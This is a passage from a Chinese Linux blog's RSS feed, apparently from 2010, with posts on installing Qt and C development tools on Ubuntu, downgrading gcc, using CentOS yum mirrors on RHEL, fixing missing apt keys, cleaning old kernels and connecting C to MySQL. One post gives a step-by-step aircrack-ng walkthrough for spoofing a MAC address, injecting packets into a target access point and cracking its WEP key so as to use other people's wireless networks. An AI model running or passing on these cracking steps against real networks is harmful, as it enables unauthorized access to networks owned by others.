<p>注：qt4-dev-tools 包含了Qt Assistant及Qt Linguist等工具，因此不需要单独安装这两个工具。其它的，qt4-doc 是帮助文档，包含了Qt中各个类库的详细说明以及丰富的例子程序，可以使用Qt Assistant 工具来打开阅读。qt4-qtconfig 是配置Qt环境的一个对话框，一般默认就行了，很少有必要去更改。qt4-demos 包含很多可以运行起来的可执行文件以及源代码。qt4-designer是用来设计GUI界面的设计器。<br />
二、安装连接MySQL的驱动程序</p>
<p>$ sudo apt-get install libqt4-sql-mysql</p>
<p>三、安装第三方的QWT库</p>
<p>$ sudo apt-get install libqwt5-qt4 libqwt5-qt4-dev</p>
<p>注：安装完这些后，打开Qt Designer，就会发现左边的Widget列表里面多了&#8221;Qwt Widget&#8221;这一组；</p>
<p>四、安装集成开发环境QDevelop</p>
<p>$ sudo apt-get install qdevelop</p>
<p>注：不一定要安装，但就我个人感觉而言，使用Qdevelop编写代码和编译、调试，使用Qt Designer设计界面，开发效率会较高。</p>
<p>五、完成</p>
<p>from：linux社区</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4552/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Ubuntu下安装开发环境</title>
		<link>http://www.am82.com/houzan/archives/4538</link>
		<comments>http://www.am82.com/houzan/archives/4538#comments</comments>
		<pubDate>Sat, 07 Aug 2010 14:24:32 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[嵌入开发]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=4538</guid>
		<description><![CDATA[一. 安装C／C＋＋程序的开发环境 
1. sudo apt-get install build-essential //安装主要编译工具 gcc, g++, make 
2. sudo apt-get install autoconf automake1.9 
3. sudo apt-get install flex bison 
4. sudo apt-get install manpages-dev //安装........]]></description>
			<content:encoded><![CDATA[<p>一. 安装C／C＋＋程序的开发环境<br />
1. sudo apt-get install build-essential //安装主要编译工具 gcc, g++, make<br />
2. sudo apt-get install autoconf automake1.9<br />
3. sudo apt-get install flex bison<br />
4. sudo apt-get install manpages-dev //安装C语言函数man文档<br />
5. sudo apt-get install binutils-doc cpp-doc gcc-doc glibc-doc stl-manual //安装相关文档</p>
<p>二. 安装Gnome桌面程序的开发环境<br />
1. sudo apt-get install gnome-core-devel //安装核心文件<br />
2. sudo apt-get install pkg-config<br />
3. sudo apt-get install devhelp //安装GTK文档查看程序<br />
4. sudo apt-get install libglib2.0-doc libgtk2.0-doc //安装 API参考手册及其它帮助文档<br />
5. sudo apt-get instal glade libglade2-dev //安装GTK界面构造程序</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4538/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu 10.04 gcc g++ 4.4降级到4.3</title>
		<link>http://www.am82.com/houzan/archives/4280</link>
		<comments>http://www.am82.com/houzan/archives/4280#comments</comments>
		<pubDate>Thu, 10 Jun 2010 04:14:57 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[嵌入开发]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/archives/4280</guid>
		<description><![CDATA[我依照以下方法，却得到ln: creating hard link `gcc' => `/usr/bin/gcc-4.3': Invalid cross-device link 请问是什么回事呢？

将gcc-4.4降级成gcc-4.3 具体操作： sudo apt-get install gcc-4.3（安装gcc-4.3） sudo apt-get install g++-4.3（安装g++-4.3）sudo apt-get install g++-4.3-multilib (安装g++-4.3-multilib) 安装完4.3版本后，执行gcc --version后会发现版本仍然是4.4，因为gcc已经和4.4版本进行了链接，因此需要对gcc重新进行链接 具体操作： sudo ln -f /usr/bin/gcc-4.3 gcc sudo ln -f/usr/bin/g++-4.3 g++ 这样就可以用4.3版本的gcc和g++将原来的覆盖掉，重新进入android源码目录.......]]></description>
			<content:encoded><![CDATA[<p>我依照以下方法，却得到ln: creating hard link `gcc&#8217; =&gt; `/usr/bin/gcc-4.3&#8242;: Invalid cross-device link 请问是什么回事呢？</p>
<p>将gcc-4.4降级成gcc-4.3 具体操作： sudo apt-get install gcc-4.3（安装gcc-4.3） sudo apt-get install g++-4.3（安装g++-4.3）sudo apt-get install g++-4.3-multilib (安装g++-4.3-multilib) 安装完4.3版本后，执行gcc &#8211;version后会发现版本仍然是4.4，因为gcc已经和4.4版本进行了链接，因此需要对gcc重新进行链接 具体操作： sudo ln -f /usr/bin/gcc-4.3 gcc sudo ln -f/usr/bin/g++-4.3 g++ 这样就可以用4.3版本的gcc和g++将原来的覆盖掉，重新进入android源码目录执行make就可以正常编译   <br />【或者可以安转gcc依赖包 apt-get install build-essential】    <br />请大家帮帮忙</p>
<p>文章标题 : Re: Ubuntu10.04 gcc g++4.4降级4.3的问题</p>
<p>在我的系统上   <br />ls -l /usr/bin/gcc    <br />lrwxrwxrwx 1 root root 7 2009-11-10 20:40 /usr/bin/gcc -&gt; gcc-4.4    <br />意思是/usr/bin/gcc是/usr/bin/gcc-4.4的 soft link，不是hard link，目前我常用的都是soft link，用法是ln -s file1 file2，然后ls -l file2查看。    <br />你的情况应该是    <br />cd /usr/bin    <br />sudo ln -sf cpp-4.3 cpp    <br />sudo ln -sf gcc-4.3 gcc    <br />sudo ln -sf g++-4.3 g++    <br />hard link据说不支持在不同分区之间连接文件（你的/home和/在不同分区？），soft link支持。    <br />你的命令sudo ln -f /usr/bin/gcc-4.3 gcc似乎是把/usr/bin/gcc做个hard link到当前目录下的文件gcc。    <br />另外系统默认版本的gcc最好不要改，要改也得是同一版本，比如gcc 4.3.0改为gcc 4.3.2或gcc 4.4.0到gcc 4.4.4。从gcc 4.4改到gcc 4.3是有风险的。    <br />有个办法使用非系统默认版本的gcc，就是自己编译gcc并安装到/opt/gcc目录下去，不用多少时间，15分钟就够了（Intel E2140,1GB RAM）。    <br />如果你熟悉gcc的编译，这段不用看。编译前把gcc-4.3的包全部卸掉，并把gcc,cpp,g++这几个提供soft link到gcc-4.4的包重新装一遍。    <br />安装编译gcc的依赖包gmp,mpfr,cloog-ppl,mpc,libelf，注意都要带devel或dev字样的包。    <br />到<a href="http://gcc.cybermirror.org/releases/gcc-4.3.4/">http://gcc.cybermirror.org/releases/gcc-4.3.4/</a>    <br />下载源码    <br />gcc- core*.tar.bz2是c编译器    <br />gcc-fortran*.tar.bz2是fortran编译器    <br />gcc- g++*.tar.bz2是g++编译器    <br />gcc-objc*.tar.bz2是objective c编译器    <br />一般人用到的就c,c++ 而已    <br />mkdir ~/build    <br />下载到home下的build目录</p>
<p><a href="http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-core-4.3.4.tar.bz2">http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-core-4.3.4.tar.bz2</a></p>
<p><a href="http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-g++-4.3.4.tar.bz2">http://gcc.cybermirror.org/releases/gcc-4.3.4/gcc-g++-4.3.4.tar.bz2</a></p>
<p>cd ~/build   <br />tar jxf gcc-core-4.3.4.tar.bz2    <br />tar jxf gcc-g++-4.3.4.tar.bz2    <br />cd gcc-4.3.4    <br />mkdir build    <br />然后    <br />gcc -v 2&gt; build-config.txt    <br />打开build-config.txt    <br />开 始修改    <br />比如我的是</p>
<p>代码:   <br />Using built-in specs.    <br />Target: i586-SUSE-linux    <br />Configured with: ../configure &#8211;prefix=/usr &#8211;infodir=/usr/share/info &#8211;mandir=/usr/share/man &#8211;libdir=/usr/lib &#8211;libexecdir=/usr/lib &#8211;enable-languages=c,c++,objc,fortran,obj-c++ &#8211;enable-checking=release &#8211;with-gxx-include-dir=/usr/include/c++/4.4 &#8211;enable-ssp &#8211;disable-libssp &#8211;with-bugurl=http://bugs.openSUSE.org/ &#8211;with-pkgversion=&#8217;SUSE Linux&#8217; &#8211;disable-libgcj &#8211;disable-libmudflap &#8211;with-slibdir=/lib &#8211;with-system-zlib &#8211;enable-__cxa_atexit &#8211;enable-libstdcxx-allocator=new &#8211;disable-libstdcxx-pch &#8211;enable-version-specific-runtime-libs &#8211;program-suffix=-4.4 &#8211;enable-linux-futex &#8211;without-system-libunwind &#8211;with-arch-32=i586 &#8211;with-tune=generic &#8211;build=i586-suse-linux    <br />Thread model: posix    <br />gcc version 4.4.4 (SUSE Linux)</p>
<p>改成</p>
<p>代 码:   <br />../configure \    <br />&#8211;prefix=/opt/gcc \    <br />&#8211;enable-languages=c,c++ \    <br />&#8211;enable-checking=release \    <br />&#8211;enable-ssp \    <br />&#8211;disable-libssp \    <br />&#8211;with-bugurl=http://bugs.openSUSE.org/ \    <br />&#8211;with-pkgversion=&#8217;SUSE Linux&#8217; \    <br />&#8211;disable-libgcj &#8211;disable-libmudflap \    <br />&#8211;with-system-zlib \    <br />&#8211;enable-__cxa_atexit \    <br />&#8211;enable-libstdcxx-allocator=new \    <br />&#8211;disable-libstdcxx-pch \    <br />&#8211;enable-version-specific-runtime-libs \    <br />&#8211;program-suffix=-4.4 \    <br />&#8211;enable-linux-futex \    <br />&#8211;without-system-libunwind \    <br />&#8211;with-arch-32=i586 \    <br />&#8211;with-tune=generic \    <br />&#8211;build=i586-SUSE-linux \    <br />&#8211;disable-bootstrap</p>
<p>也就是把头尾不要，提到/usr和/lib目录的行全不要，&#8211;program-suffix那行也不要，分行，再加一行&#8211;disable-bootstrap。我的这段</p>
<p>代码:   <br />../configure    <br />&#8230;</p>
<p>仅 供参考，具体还是要你自己改你自己的build-config.txt   <br />现在已经在~/build/gcc-4.3.4/build目录了    <br />把 改好的build-config.txt的内容复制下来并运行，我的是</p>
<p>代码:   <br />../configure \    <br />&#8211;prefix=/opt/gcc \    <br />&#8211;enable-languages=c,c++ \    <br />&#8211;enable-checking=release \    <br />&#8211;enable-ssp \    <br />&#8211;disable-libssp \    <br />&#8211;with-bugurl=http://bugs.openSUSE.org/ \    <br />&#8211;with-pkgversion=&#8217;SUSE Linux&#8217; \    <br />&#8211;disable-libgcj &#8211;disable-libmudflap \    <br />&#8211;with-system-zlib \    <br />&#8211;enable-__cxa_atexit \    <br />&#8211;enable-libstdcxx-allocator=new \    <br />&#8211;disable-libstdcxx-pch \    <br />&#8211;enable-version-specific-runtime-libs \    <br />&#8211;enable-linux-futex \    <br />&#8211;without-system-libunwind \    <br />&#8211;with-arch-32=i586 \    <br />&#8211;with-tune=generic \    <br />&#8211;build=i586-SUSE-linux \    <br />&#8211;disable-bootstrap</p>
<p>然后   <br />make -jN，cpu有几个核N就填几    <br />最后    <br />sudo make install    <br />可选步骤    <br />cd /opt/gcc/libexec/gcc/*/*    <br />sudo strip -sv cc1*</p>
<p>最后写个脚本gcc43-env.sh放到~/bin目录，内容如下</p>
<p>代码:   <br />#!/bin/sh    <br />export PATH=/opt/gcc/bin:$PATH</p>
<p>你要使用gcc-4.3只用   <br />source gcc43-env.sh    <br />就行了。</p>
<p>from:ubuntu社区</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4280/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RHEL AS5使用CentOS 5 yum源自动升级</title>
		<link>http://www.am82.com/houzan/archives/4177</link>
		<comments>http://www.am82.com/houzan/archives/4177#comments</comments>
		<pubDate>Fri, 07 May 2010 04:22:45 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[AS5]]></category>
		<category><![CDATA[centOS]]></category>
		<category><![CDATA[RHEL]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/archives/4177</guid>
		<description><![CDATA[RedHat Enterprise因为是商业软件，所以没有注册就不能更新或用yum方便的安装软件。想到Ubuntu使用/etc/apt/sources.list文件进行1、修改.repo文件
cd /etc/yum.repos.d/

vim CentOS-Base.repo更新，而CentOs是RHEL的翻版，就直接用CentOS的更新源来更新吧。

写入以下内容......]]></description>
			<content:encoded><![CDATA[<p>RedHat Enterprise因为是商业软件，所以没有注册就不能更新或用yum方便的安装软件。想到Ubuntu使用/etc/apt/sources.list文件进行1、修改.repo文件   <br />cd /etc/yum.repos.d/</p>
<p>vim CentOS-Base.repo更新，而CentOs是RHEL的翻版，就直接用CentOS的更新源来更新吧。</p>
<p>写入以下内容：</p>
<p>[base]   <br />name=CentOS-5 – Base    <br />#mirrorlist=http://mirrorlist.centos.org/?release=$releasever5&amp;arch=$basearch&amp;    <br />repo=os    <br />#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/    <br />baseurl=http://ftp.sjtu.edu.cn/centos/5/os/$basearch/    <br />gpgcheck=1    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>#released updates   <br />[update]    <br />name=CentOS-5 – Updates    <br />#mirrorlist=http://mirrorlist.centos.org/?release=4&amp;arch=$basearch&amp;repo=updates    <br />baseurl=http://ftp.sjtu.edu.cn/centos/5/updates/$basearch/    <br />gpgcheck=1    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>#packages used/produced in the build but not released   <br />[addons]    <br />name=CentOS-5 – Addons    <br />#mirrorlist=http://mirrorlist.centos.org/?release=4&amp;arch=$basearch&amp;repo=addons</p>
<p>baseurl=http://ftp.sjtu.edu.cn/centos/5/addons/$basearch/   <br />gpgcheck=1    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>#additional packages that may be useful   <br />[extras]    <br />name=CentOS-5 – Extras    <br />#mirrorlist=http://mirrorlist.centos.org/?release=4&amp;arch=$basearch&amp;repo=extras</p>
<p>baseurl=http://ftp.sjtu.edu.cn/centos/5/extras/$basearch/   <br />gpgcheck=1    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>#additional packages that extend functionality of existing packages   <br />[centosplus]    <br />name=CentOS-5 – Plus    <br />#mirrorlist=http://mirrorlist.centos.org/?release=4&amp;arch=$basearch&amp;repo=centosplus    <br />baseurl=http://ftp.sjtu.edu.cn/centos/5/centosplus/$basearch/    <br />gpgcheck=1    <br />enabled=0    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>#contrib – packages by Centos Users   <br />[contrib]    <br />name=CentOS-5 – Contrib    <br />#mirrorlist=http://mirrorlist.centos.org/?release=4&amp;arch=$basearch&amp;repo=contrib    <br />baseurl=http://ftp.sjtu.edu.cn/centos/5/contrib/$basearch/    <br />gpgcheck=1    <br />enabled=0    <br />gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos5</p>
<p>创建或者更改&#160;&#160; vi dag.repo</p>
<p>写入：</p>
<p>[dag]   <br />name=Dag RPM Repository for RHEL5    <br />baseurl=http://ftp.riken.jp/Linux/dag/RedHat/el5/en/$basearch/dag/    <br />enabled=1    <br />gpgcheck=1    <br />gpgkey=http://ftp.riken.jp/Linux/dag/packages/RPM-GPG-KEY.dag.txt</p>
<p>导入KEY：</p>
<p>rpm –import http://ftp.sjtu.edu.cn/centos/5/os/i386/RPM-GPG-KEY-CentOS-5</p>
<p>使用&#160; yum update 更新测试！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4177/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu安装软件时缺少公钥的解决办法</title>
		<link>http://www.am82.com/houzan/archives/4156</link>
		<comments>http://www.am82.com/houzan/archives/4156#comments</comments>
		<pubDate>Wed, 05 May 2010 00:28:50 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[公钥]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=4156</guid>
		<description><![CDATA[症状：

代码:sudo apt-get update

W: GPG error: http://apt.tt-solutions.com dapper Release: 由于没有公钥，下列签名无法进行验证： NO_PUBKEY 06EA41DE4F6C1E86

解决方.......]]></description>
			<content:encoded><![CDATA[<p>症状：</p>
<p>代码:sudo apt-get update</p>
<p>W: GPG error: http://apt.tt-solutions.com dapper Release: 由于没有公钥，下列签名无法进行验证： NO_PUBKEY 06EA41DE4F6C1E86</p>
<p>解决方法：</p>
<p>代码:gpg &#8211;keyserver subkeys.pgp.net &#8211;recv 4F6C1E86<br />
gpg &#8211;export &#8211;armor 4F6C1E86 | sudo apt-key add -</p>
<p>说明：</p>
<p>若缺少其他公钥，则将命令中两处4F6C1E86改为NO_PUBKEY</p>
<p>06EA41DE4F6C1E86中最后8位即可！</p>
<p>如果是Ubuntu PPA的</p>
<p>代码:sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.Ubuntu.com</p>
<p>from:Ubuntu社区</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/4156/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu 9.10学习笔记-破解无线WEP</title>
		<link>http://www.am82.com/houzan/archives/3928</link>
		<comments>http://www.am82.com/houzan/archives/3928#comments</comments>
		<pubDate>Thu, 18 Mar 2010 05:45:10 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=3928</guid>
		<description><![CDATA[如果不想被盗网就使用WPA2或者限制mac地址吧。

要是想要伪装mac 地址，可以使用伪造自己的mac地址(这一步你也可以不要)

1.首先我们查看自己的mac地址

在终端中输入ifconfig -a        察看当前网卡,这里是看你机器上的所有网卡，你要自己找到你的无线网卡
在这一步我看到的网卡名称为

wlan0

然后先停止载入USB网........]]></description>
			<content:encoded><![CDATA[<p>如果不想被盗网就使用WPA2或者限制mac地址吧。</p>
<p>要是想要伪装mac 地址，可以使用伪造自己的mac地址(这一步你也可以不要)</p>
<p>1.首先我们查看自己的mac地址</p>
<p>在终端中输入ifconfig -a        察看当前网卡,这里是看你机器上的所有网卡，你要自己找到你的无线网卡<br />
在这一步我看到的网卡名称为</p>
<p>wlan0</p>
<p>然后先停止载入USB网卡驱动</p>
<p>敲入命令</p>
<p>ifconfig -a wlan0 down</p>
<p>2. 然后输入macchanger –m 00:11:22:33:44:55 wlan0</p>
<p>将自己的USB网卡mac地址修改</p>
<p>-m后跟要伪造的MAC，之后再跟要修改的网卡名称,上面这里我们把USB网卡MAC修改成00:11:22:33:44:55</p>
<p>重新载入USB网卡驱动</p>
<p>敲入命令</p>
<p>ifconfig -a wlan0 up</p>
<p>下面是原内容，自己看看照着来好了。</p>
<p>———————————————————————</p>
<p>Ubuntu 9.10破解wep无线加密</p>
<p>一、安装Ubuntu和aircrack-ng</p>
<p>先安装 Ubuntu9.04，更新系统到最新</p>
<p>终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng</p>
<p>没联网的话 到别的电脑上网下载aircrack-ng Ubuntu DEB安装包 安装</p>
<p>下载地址：http://packages.ubuntu.com/zh-cn/jaunty/i386/aircrack-ng/download</p>
<p>二、破解过程</p>
<p>1、启动无线网卡的监控模式，在终端中输入：sudo airmon-ng start wlan0</p>
<p>（wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看）</p>
<p>2、查看无线AP在终端中输入：</p>
<p>sudo airodump-ng mon0</p>
<p>（特别说明：启动监控模式后无线网的端口现在是 mon0 ！！！）</p>
<p>看看有哪些采用wep加密的AP在线，然后按 ctrl+c 退出，保留终端</p>
<p>3、抓包</p>
<p>另开一个终端，输入：</p>
<p>sudo airodump-ng -c 6 &#8211;bssid  目标的mac地址 -w wep mon0</p>
<p>(-c 后面跟着的6是要破解的AP工作频道，&#8211;bissid后面跟着的AP&#8217;s MAC是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据步骤2里面的在线AP更改频道和MAC地 址，DATA保存的文件名可随便命名）</p>
<p>4、与AP建立虚拟连接</p>
<p>再另开一个终端，输入：</p>
<p>sudo aireplay-ng -1 0 -a AP&#8217;s MAC -h My MAC mon0</p>
<p>（-h后面跟着的My MAC是自己的无线网卡的MAC地址，命令：</p>
<p>iwlist wlan0 scanning</p>
<p>可查看自己的MAC地址)</p>
<p>5、进行注入</p>
<p>成功建立虚拟连接后输入：</p>
<p>sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标的MAC地址 -h 我的MAC地址 mon0</p>
<p>现在回头看下步骤3的终端是不是DATA在开始飞涨！</p>
<p>6、解密</p>
<p>收集有5000个以上的DATA之后，另开一个终端，输入：</p>
<p>sudo aircrack-ng wep*.cap</p>
<p>进行解密</p>
<p>（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）</p>
<p>7、收工</p>
<p>破解出密码后在终端中输入 sudo airomon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。现在可以冲浪去了，或者重复步聚1-7破解其 它的AP 呵呵兄弟们冲浪时可别太猛了，不然把主人给冲翻了可就不好。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/3928/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>清理Ubuntu老内核的小脚本</title>
		<link>http://www.am82.com/houzan/archives/3833</link>
		<comments>http://www.am82.com/houzan/archives/3833#comments</comments>
		<pubDate>Mon, 01 Mar 2010 01:14:51 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[SHELL]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=3833</guid>
		<description><![CDATA[Ubuntu用久了，升级了几次内核以后，就免不了需要清理一下老的内核，毕竟一套内核就有170多M的空间呢。但是每次都打一堆字来清理也烦了。虽然Ubuntu 命令技巧（这里再罗嗦几句：如果还有Ubuntuer没看过这个，强烈建议看一遍。）里有删除旧内核的命令，而且就一行：

sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)
但是........]]></description>
			<content:encoded><![CDATA[<p>Ubuntu用久了，升级了几次内核以后，就免不了需要清理一下老的内核，毕竟一套内核就有170多M的空间呢。但是每次都打一堆字来清理也烦了。虽然Ubuntu 命令技巧（这里再罗嗦几句：如果还有Ubuntuer没看过这个，强烈建议看一遍。）里有删除旧内核的命令，而且就一行：</p>
<div>
<div>
<pre>sudo aptitude purge ~ilinux-image-.*\(\!`uname -r`\)</pre>
</div>
</div>
<p>但是我却不是很喜欢，因为这这个没有把linux-headers-xxx删除掉。<br />
于是自己写了个繁的，需要的可以自己保存，以便不时之需。</p>
<div>
<div>
<pre>#!/bin/sh
# 清理Ubuntu的老内核
# by bones7456
# http://li2z.cn
CURRENT="`uname -r | awk -F"-" '{print $1"-"$2}'`"
HEADERS=""
IMAGES=""
for HEADER in `dpkg --get-selections | grep ^linux-headers | \
grep -vE "(generic|386|virtual)" | awk '{gsub(/linux-headers-/,"",$1);print $1}'`
do
    if [[ "$CURRENT" &lt; "$HEADER" ]]
    then
        echo "正在运行的内核不是最新的。 $CURRENT &lt; $HEADER"
        echo "Running kernel is not the newest. $CURRENT &lt; $HEADER"
        exit 1
    else
        [[ "$CURRENT" != "$HEADER" ]] &amp;&amp; {
            HEADERS="${HEADERS} linux-headers-${HEADER}"
            IMAGE="`dpkg --get-selections | grep ^linux-image | \
                grep "${HEADER}" | awk '{print $1}'`"
            IMAGES="${IMAGES} $IMAGE"
        }
    fi
done

if [[ x"$HEADERS" == x"" ]]
then
    echo "没有要清理的老内核."
    echo "No old kernel need to clean."
    exit 0
fi
CMD="sudo apt-get purge $HEADERS $IMAGES"
echo "$CMD"
if [ "$1" == "-e" ]
then
    sh -c "$CMD"
else
    echo "请确定以上命令是否正确，然后输入 $0 -e 来执行以上命令。"
    echo "Be sure this command is right, then type $0 -e to execute."
fi</pre>
<pre>from:li2z.cn</pre>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/3833/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu下安装MySQL获得 mysql.h 建立C接口</title>
		<link>http://www.am82.com/houzan/archives/3728</link>
		<comments>http://www.am82.com/houzan/archives/3728#comments</comments>
		<pubDate>Tue, 16 Feb 2010 06:13:40 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[嵌入开发]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.am82.com/houzan/?p=3728</guid>
		<description><![CDATA[在Ubuntu下费了好长时间终于让C操作MySQL成功了，在此把方法记下来，留着以后用。先安装MySQL 
代码: 
sudo apt-get install mysql-server mysql-client

再装开发包 
代码.......]]></description>
			<content:encoded><![CDATA[<p>在Ubuntu下费了好长时间终于让C操作MySQL成功了，在此把方法记下来，留着以后用。先安装MySQL<br />
代码:<br />
sudo apt-get install mysql-server mysql-client</p>
<p>再装开发包<br />
代码:<br />
sudo apt-get install libmysqlclient15-dev</p>
<p>安装完以后，C代码里添加头文件</p>
<p>代码:<br />
#include &lt;mysql.h&gt;<br />
编译方法：<br />
代码:<br />
gcc $(mysql_config &#8211;cflags) xxx.c -o xxx $(mysql_config &#8211;libs)</p>
<p>可以用以下代码测试一下<br />
代码:<br />
/* Simple C program that connects to MySQL Database server*/<br />
#include &lt;mysql.h&gt;<br />
#include &lt;stdio.h&gt;</p>
<p>main() {<br />
MYSQL *conn;<br />
MYSQL_RES *res;<br />
MYSQL_ROW row;</p>
<p>char *server = &#8220;localhost&#8221;;<br />
char *user = &#8220;root&#8221;;<br />
char *password = &#8220;&#8221;; /* 此处改成你的密码 */<br />
char *database = &#8220;mysql&#8221;;</p>
<p>conn = mysql_init(NULL);</p>
<p>/* Connect to database */<br />
if (!mysql_real_connect(conn, server,<br />
user, password, database, 0, NULL, 0)) {<br />
fprintf(stderr, &#8220;%s\n&#8221;, mysql_error(conn));<br />
exit(1);<br />
}</p>
<p>/* send SQL query */<br />
if (mysql_query(conn, &#8220;show tables&#8221;)) {<br />
fprintf(stderr, &#8220;%s\n&#8221;, mysql_error(conn));<br />
exit(1);<br />
}</p>
<p>res = mysql_use_result(conn);</p>
<p>/* output table name */<br />
printf(&#8220;MySQL Tables in mysql database:\n&#8221;);<br />
while ((row = mysql_fetch_row(res)) != NULL)<br />
printf(&#8220;%s \n&#8221;, row[0]);</p>
<p>/* close connection */<br />
mysql_free_result(res);<br />
mysql_close(conn);<br />
}</p>
<p>会输出现有数据库和表内容。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/houzan/archives/3728/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
